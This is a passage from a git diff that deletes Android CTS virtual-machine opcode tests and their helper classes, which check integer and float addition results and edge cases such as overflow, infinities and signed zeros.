-                Float.POSITIVE_INFINITY));
-    }
-
-    /**
-     * @title Arguments = Float.POSITIVE_INFINITY, -2.7f
-     */
-    public void testB4() {
-        AddFloat_1 t = new AddFloat_1();
-        assertEquals(Float.POSITIVE_INFINITY, t.run(Float.POSITIVE_INFINITY,
-                -2.7f));
-    }
-
-    /**
-     * @title Arguments = +0, -0f
-     */
-    public void testB5() {
-        AddFloat_1 t = new AddFloat_1();
-        assertEquals(+0f, t.run(+0f, -0f));
-    }
-
-    /**
-     * @title Arguments = -0f, -0f
-     */
-    public void testB6() {
-        AddFloat_1 t = new AddFloat_1();
-        assertEquals(-0f, t.run(-0f, -0f));
-    }
-
-    /**
-     * @title Arguments = -2.7f, 2.7f
-     */
-    public void testB7() {
-        AddFloat_1 t = new AddFloat_1();
-        assertEquals(+0f, t.run(-2.7f, 2.7f));
-    }
-
-    /**
-     * @title Arguments = Float.MAX_VALUE, Float.MAX_VALUE
-     */
-    public void testB8() {
-        AddFloat_1 t = new AddFloat_1();
-        assertEquals(Float.POSITIVE_INFINITY, t.run(Float.MAX_VALUE,
-                Float.MAX_VALUE));
-    }
-
-    /**
-     * @title Arguments = Float.MIN_VALUE, -1.4E-45f
-     */
-    public void testB9() {
-        AddFloat_1 t = new AddFloat_1();
-        assertEquals(0f, t.run(Float.MIN_VALUE, -1.4E-45f));
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_float/AddFloat_1.java b/tests/vm/src/android/vm/cts/opcodes/add_float/AddFloat_1.java
deleted file mode 100644
index aff5beb..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_float/AddFloat_1.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_float;
-
-public class AddFloat_1 {
-
-    public float run(float a, float b) {
-        return a + b;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_float/AddFloat_5.java b/tests/vm/src/android/vm/cts/opcodes/add_float/AddFloat_5.java
deleted file mode 100644
index 2eba052..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_float/AddFloat_5.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_float;
-
-public class AddFloat_5 {
-
-    public float run(int a, float b) {
-        return 0;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_float_2addr/AddFloat2AddrTest.java b/tests/vm/src/android/vm/cts/opcodes/add_float_2addr/AddFloat2AddrTest.java
deleted file mode 100644
index 177e564..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_float_2addr/AddFloat2AddrTest.java
+++ /dev/null
@@ -1,124 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.vm.cts.opcodes.add_float_2addr;
-
-import junit.framework.TestCase;
-
-public class AddFloat2AddrTest extends TestCase {
-    /**
-     * @title Arguments = 2.7f, 3.14f
-     */
-    public void testN1() {
-        AddFloat2Addr_1 t = new AddFloat2Addr_1();
-        assertEquals(5.84f, t.run(2.7f, 3.14f));
-    }
-
-    /**
-     * @title Arguments = 0, -3.14f
-     */
-    public void testN2() {
-        AddFloat2Addr_1 t = new AddFloat2Addr_1();
-        assertEquals(-3.14f, t.run(0, -3.14f));
-    }
-
-    /**
-     * @title Arguments = -3.14f, -2.7f
-     */
-    public void testN3() {
-        AddFloat2Addr_1 t = new AddFloat2Addr_1();
-        assertEquals(-5.84f, t.run(-3.14f, -2.7f));
-    }
-
-    /**
-     * @title Arguments = Float.MAX_VALUE, Float.NaN
-     */
-    public void testB1() {
-        AddFloat2Addr_1 t = new AddFloat2Addr_1();
-        assertEquals(Float.POSITIVE_INFINITY, t.run(3.3028235E38f, 0.11E38f));
-    }
-
-    /**
-     * @title Arguments = Float.POSITIVE_INFINITY,
-     * Float.NEGATIVE_INFINITY
-     */
-    public void testB2() {
-        AddFloat2Addr_1 t = new AddFloat2Addr_1();
-        assertTrue(Float.isNaN(t.run(Float.POSITIVE_INFINITY,
-                Float.NEGATIVE_INFINITY)));
-    }
-
-    /**
-     * @title Arguments = Float.POSITIVE_INFINITY,
-     * Float.POSITIVE_INFINITY
-     */
-    public void testB3() {
-        AddFloat2Addr_1 t = new AddFloat2Addr_1();
-        assertEquals(Float.POSITIVE_INFINITY, t.run(Float.POSITIVE_INFINITY,
-                Float.POSITIVE_INFINITY));
-    }
-
-    /**
-     * @title Arguments = Float.POSITIVE_INFINITY, -2.7f
-     */
-    public void testB4() {
-        AddFloat2Addr_1 t = new AddFloat2Addr_1();
-        assertEquals(Float.POSITIVE_INFINITY, t.run(Float.POSITIVE_INFINITY,
-                -2.7f));
-    }
-
-    /**
-     * @title Arguments = +0, -0f
-     */
-    public void testB5() {
-        AddFloat2Addr_1 t = new AddFloat2Addr_1();
-        assertEquals(+0f, t.run(+0f, -0f));
-    }
-
-    /**
-     * @title Arguments = -0f, -0f
-     */
-    public void testB6() {
-        AddFloat2Addr_1 t = new AddFloat2Addr_1();
-        assertEquals(-0f, t.run(-0f, -0f));
-    }
-
-    /**
-     * @title Arguments = -2.7f, 2.7f
-     */
-    public void testB7() {
-        AddFloat2Addr_1 t = new AddFloat2Addr_1();
-        assertEquals(+0f, t.run(-2.7f, 2.7f));
-    }
-
-    /**
-     * @title Arguments = Float.MAX_VALUE, Float.MAX_VALUE
-     */
-    public void testB8() {
-        AddFloat2Addr_1 t = new AddFloat2Addr_1();
-        assertEquals(Float.POSITIVE_INFINITY, t.run(Float.MAX_VALUE,
-                Float.MAX_VALUE));
-    }
-
-    /**
-     * @title Arguments = Float.MIN_VALUE, -1.4E-45f
-     */
-    public void testB9() {
-        AddFloat2Addr_1 t = new AddFloat2Addr_1();
-        assertEquals(0f, t.run(Float.MIN_VALUE, -1.4E-45f));
-    }
-
-    
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_float_2addr/AddFloat2Addr_1.java b/tests/vm/src/android/vm/cts/opcodes/add_float_2addr/AddFloat2Addr_1.java
deleted file mode 100644
index cabd4f9..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_float_2addr/AddFloat2Addr_1.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_float_2addr;
-
-public class AddFloat2Addr_1 {
-
-    public float run(float a, float b) {
-        return a + b;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_float_2addr/AddFloat2Addr_5.java b/tests/vm/src/android/vm/cts/opcodes/add_float_2addr/AddFloat2Addr_5.java
deleted file mode 100644
index 7fdd723..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_float_2addr/AddFloat2Addr_5.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_float_2addr;
-
-public class AddFloat2Addr_5 {
-
-    public float run(int a, float b) {
-        return 0;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int/AddIntTest.java b/tests/vm/src/android/vm/cts/opcodes/add_int/AddIntTest.java
deleted file mode 100644
index 7e67da6..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int/AddIntTest.java
+++ /dev/null
@@ -1,118 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.vm.cts.opcodes.add_int;
-
-import junit.framework.TestCase;
-
-public class AddIntTest extends TestCase {
-    /**
-     * @title Arguments = 8, 4
-     */
-    public void testN1() {
-        AddInt_1 t = new AddInt_1();
-        assertEquals(12, t.run(8, 4));
-    }
-
-    /**
-     * @title Arguments = 0, 255
-     */
-    public void testN2() {
-        AddInt_1 t = new AddInt_1();
-        assertEquals(255, t.run(0, 255));
-    }
-
-    /**
-     * @title Arguments = 0, -65536
-     */
-    public void testN3() {
-        AddInt_1 t = new AddInt_1();
-        assertEquals(-65536, t.run(0, -65536));
-    }
-
-    /**
-     * @title Arguments = 0, -2147483647
-     */
-    public void testN4() {
-        AddInt_1 t = new AddInt_1();
-        assertEquals(-2147483647, t.run(0, -2147483647));
-    }
-
-    /**
-     * @title Arguments = 0x7ffffffe, 2
-     */
-    public void testN5() {
-        AddInt_1 t = new AddInt_1();
-        assertEquals(-2147483648, t.run(0x7ffffffe, 2));
-    }
-
-    /**
-     * @title Arguments = -1, 1
-     */
-    public void testN6() {
-        AddInt_1 t = new AddInt_1();
-        assertEquals(0, t.run(-1, 1));
-    }
-
-
-    /**
-     * @title Arguments = 0, Integer.MAX_VALUE
-     */
-    public void testB1() {
-        AddInt_1 t = new AddInt_1();
-        assertEquals(Integer.MAX_VALUE, t.run(0, Integer.MAX_VALUE));
-    }
-
-    /**
-     * @title Arguments = Integer.MAX_VALUE, Integer.MAX_VALUE
-     */
-    public void testB2() {
-        AddInt_1 t = new AddInt_1();
-        assertEquals(-2, t.run(Integer.MAX_VALUE, Integer.MAX_VALUE));
-    }
-
-    /**
-     * @title Arguments = Integer.MAX_VALUE, 1
-     */
-    public void testB3() {
-        AddInt_1 t = new AddInt_1();
-        assertEquals(Integer.MIN_VALUE, t.run(Integer.MAX_VALUE, 1));
-    }
-
-    /**
-     * @title Arguments = Integer.MIN_VALUE, 1
-     */
-    public void testB4() {
-        AddInt_1 t = new AddInt_1();
-        assertEquals(-2147483647, t.run(Integer.MIN_VALUE, 1));
-    }
-
-    /**
-     * @title Arguments = 0, 0
-     */
-    public void testB5() {
-        AddInt_1 t = new AddInt_1();
-        assertEquals(0, t.run(0, 0));
-    }
-
-    /**
-     * @title Arguments = Integer.MIN_VALUE, Integer.MIN_VALUE
-     */
-    public void testB6() {
-        AddInt_1 t = new AddInt_1();
-        assertEquals(0, t.run(Integer.MIN_VALUE, Integer.MIN_VALUE));
-    }
-
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int/AddInt_1.java b/tests/vm/src/android/vm/cts/opcodes/add_int/AddInt_1.java
deleted file mode 100644
index 825821d..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int/AddInt_1.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int;
-
-public class AddInt_1 {
-
-    public int run(int a, int b) {
-        return a + b;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int/AddInt_5.java b/tests/vm/src/android/vm/cts/opcodes/add_int/AddInt_5.java
deleted file mode 100644
index c17caaa..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int/AddInt_5.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int;
-
-public class AddInt_5 {
-
-    public int run(int a, float b) {
-        return 0;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_2addr/AddInt2AddrTest.java b/tests/vm/src/android/vm/cts/opcodes/add_int_2addr/AddInt2AddrTest.java
deleted file mode 100644
index b2c4eb3..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_2addr/AddInt2AddrTest.java
+++ /dev/null
@@ -1,117 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.vm.cts.opcodes.add_int_2addr;
-
-import junit.framework.TestCase;
-
-public class AddInt2AddrTest extends TestCase {
-    /**
-     * @title Arguments = 8, 4
-     */
-    public void testN1() {
-        AddInt2Addr_1 t = new AddInt2Addr_1();
-        assertEquals(12, t.run(8, 4));
-    }
-
-    /**
-     * @title Arguments = 0, 255
-     */
-    public void testN2() {
-        AddInt2Addr_1 t = new AddInt2Addr_1();
-        assertEquals(255, t.run(0, 255));
-    }
-
-    /**
-     * @title Arguments = 0, -65536
-     */
-    public void testN3() {
-        AddInt2Addr_1 t = new AddInt2Addr_1();
-        assertEquals(-65536, t.run(0, -65536));
-    }
-
-    /**
-     * @title Arguments = 0, -2147483647
-     */
-    public void testN4() {
-        AddInt2Addr_1 t = new AddInt2Addr_1();
-        assertEquals(-2147483647, t.run(0, -2147483647));
-    }
-
-    /**
-     * @title Arguments = 0x7ffffffe, 2
-     */
-    public void testN5() {
-        AddInt2Addr_1 t = new AddInt2Addr_1();
-        assertEquals(-2147483648, t.run(0x7ffffffe, 2));
-    }
-
-    /**
-     * @title Arguments = -1, 1
-     */
-    public void testN6() {
-        AddInt2Addr_1 t = new AddInt2Addr_1();
-        assertEquals(0, t.run(-1, 1));
-    }
-
-    /**
-     * @title Arguments = 0, Integer.MAX_VALUE
-     */
-    public void testB1() {
-        AddInt2Addr_1 t = new AddInt2Addr_1();
-        assertEquals(Integer.MAX_VALUE, t.run(0, Integer.MAX_VALUE));
-    }
-
-    /**
-     * @title Arguments = Integer.MAX_VALUE, Integer.MAX_VALUE
-     */
-    public void testB2() {
-        AddInt2Addr_1 t = new AddInt2Addr_1();
-        assertEquals(-2, t.run(Integer.MAX_VALUE, Integer.MAX_VALUE));
-    }
-
-    /**
-     * @title Arguments = Integer.MAX_VALUE, 1
-     */
-    public void testB3() {
-        AddInt2Addr_1 t = new AddInt2Addr_1();
-        assertEquals(Integer.MIN_VALUE, t.run(Integer.MAX_VALUE, 1));
-    }
-
-    /**
-     * @title Arguments = Integer.MIN_VALUE, 1
-     */
-    public void testB4() {
-        AddInt2Addr_1 t = new AddInt2Addr_1();
-        assertEquals(-2147483647, t.run(Integer.MIN_VALUE, 1));
-    }
-
-    /**
-     * @title Arguments = 0, 0
-     */
-    public void testB5() {
-        AddInt2Addr_1 t = new AddInt2Addr_1();
-        assertEquals(0, t.run(0, 0));
-    }
-
-    /**
-     * @title Arguments = Integer.MIN_VALUE, Integer.MIN_VALUE
-     */
-    public void testB6() {
-        AddInt2Addr_1 t = new AddInt2Addr_1();
-        assertEquals(0, t.run(Integer.MIN_VALUE, Integer.MIN_VALUE));
-    }
-
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_2addr/AddInt2Addr_1.java b/tests/vm/src/android/vm/cts/opcodes/add_int_2addr/AddInt2Addr_1.java
deleted file mode 100644
index ec0757b..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_2addr/AddInt2Addr_1.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_2addr;
-
-public class AddInt2Addr_1 {
-
-    public int run(int a, int b) {
-        return a+b;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_2addr/AddInt2Addr_5.java b/tests/vm/src/android/vm/cts/opcodes/add_int_2addr/AddInt2Addr_5.java
deleted file mode 100644
index 8b78444..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_2addr/AddInt2Addr_5.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_2addr;
-
-public class AddInt2Addr_5 {
-
-    public int run(int a, float b) {
-        return 0;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16Test.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16Test.java
deleted file mode 100644
index cc378df..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16Test.java
+++ /dev/null
@@ -1,117 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.vm.cts.opcodes.add_int_lit16;
-
-import junit.framework.TestCase;
-
-public class AddIntLit16Test extends TestCase {
-    /**
-     * @title Arguments = 8 + 4
-     */
-    public void testN1() {
-        AddIntLit16_1 t = new AddIntLit16_1();
-        assertEquals(12, t.run());
-    }
-
-    /**
-     * @title Arguments = 0 + 255
-     */
-    public void testN2() {
-        AddIntLit16_2 t = new AddIntLit16_2();
-        assertEquals(255, t.run());
-    }
-
-    /**
-     * @title Arguments = 0 + (-32768)
-     */
-    public void testN3() {
-        AddIntLit16_3 t = new AddIntLit16_3();
-        assertEquals(-32768, t.run());
-    }
-
-    /**
-     * @title Arguments = (-2147483647) + 0
-     */
-    public void testN4() {
-        AddIntLit16_4 t = new AddIntLit16_4();
-        assertEquals(-2147483647, t.run());
-    }
-
-    /**
-     * @title Arguments = 0x7ffffffe + 2
-     */
-    public void testN5() {
-        AddIntLit16_5 t = new AddIntLit16_5();
-        assertEquals(-2147483648, t.run());
-    }
-
-    /**
-     * @title Arguments = -1 + 1
-     */
-    public void testN6() {
-        AddIntLit16_6 t = new AddIntLit16_6();
-        assertEquals(0, t.run());
-    }
-
-    /**
-     * @title Arguments = 0 + Short.MAX_VALUE
-     */
-    public void testB1() {
-        AddIntLit16_7 t = new AddIntLit16_7();
-        assertEquals(Short.MAX_VALUE, t.run());
-    }
-
-    /**
-     * @title Arguments = Integer.MAX_VALUE + Short.MAX_VALUE
-     */
-    public void testB2() {
-        AddIntLit16_8 t = new AddIntLit16_8();
-        assertEquals(-2147450882, t.run());
-    }
-
-    /**
-     * @title Arguments = Integer.MAX_VALUE + 1
-     */
-    public void testB3() {
-        AddIntLit16_9 t = new AddIntLit16_9();
-        assertEquals(Integer.MIN_VALUE, t.run());
-    }
-
-    /**
-     * @title Arguments = Integer.MIN_VALUE + 1
-     */
-    public void testB4() {
-        AddIntLit16_10 t = new AddIntLit16_10();
-        assertEquals(-2147483647, t.run());
-    }
-
-    /**
-     * @title Arguments = 0 + 0
-     */
-    public void testB5() {
-        AddIntLit16_11 t = new AddIntLit16_11();
-        assertEquals(0, t.run());
-    }
-
-    /**
-     * @title Arguments = Short.MIN_VALUE + Short.MIN_VALUE
-     */
-    public void testB6() {
-        AddIntLit16_12 t = new AddIntLit16_12();
-        assertEquals(-65536, t.run());
-    }
-    
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_1.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_1.java
deleted file mode 100644
index 95313ee..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_1.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit16;
-
-public class AddIntLit16_1 {
-
-    public int run() {
-        return 8 + 4;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_10.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_10.java
deleted file mode 100644
index e5fa9fa..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_10.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit16;
-
-public class AddIntLit16_10 {
-
-    public int run() {
-        return Integer.MIN_VALUE + 1;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_11.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_11.java
deleted file mode 100644
index 375cfff..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_11.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit16;
-
-public class AddIntLit16_11 {
-
-    public int run() {
-        return 0 + 0;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_12.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_12.java
deleted file mode 100644
index 3c30be0..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_12.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit16;
-
-public class AddIntLit16_12 {
-
-    public int run() {
-        return Short.MIN_VALUE + Short.MIN_VALUE;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_16.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_16.java
deleted file mode 100644
index 5f3d6f9..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_16.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit16;
-
-public class AddIntLit16_16 {
-
-    public int run(float f) {
-        return 0;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_2.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_2.java
deleted file mode 100644
index 69c6c8d..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_2.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit16;
-
-public class AddIntLit16_2 {
-
-    public int run() {
-        return 0 + 255;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_3.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_3.java
deleted file mode 100644
index 51e84ba..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_3.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit16;
-
-public class AddIntLit16_3 {
-
-    public int run() {
-        return 0 + (-32768);
-    }
-}
